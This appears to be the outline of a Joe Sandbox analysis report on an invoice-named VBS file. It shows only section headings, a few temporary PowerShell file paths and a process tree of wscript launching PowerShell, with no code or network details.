Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3rm35jv.ftv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rjajxajs.yzb.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rv5m2ibe.fsd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tigd1obk.kyu.ps1

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

Behavior

System Behavior

Analysis Process: wscript.exePID: 5184, Parent PID: 3528

General

Analysis Process: powershell.exePID: 5976, Parent PID: 5184

General

Analysis Process: conhost.exePID: 5356, Parent PID: 5976

General

Analysis Process: powershell.exePID: 4764, Parent PID: 5976

Windows Analysis Report
Ref. No INV088002904SINO.vbs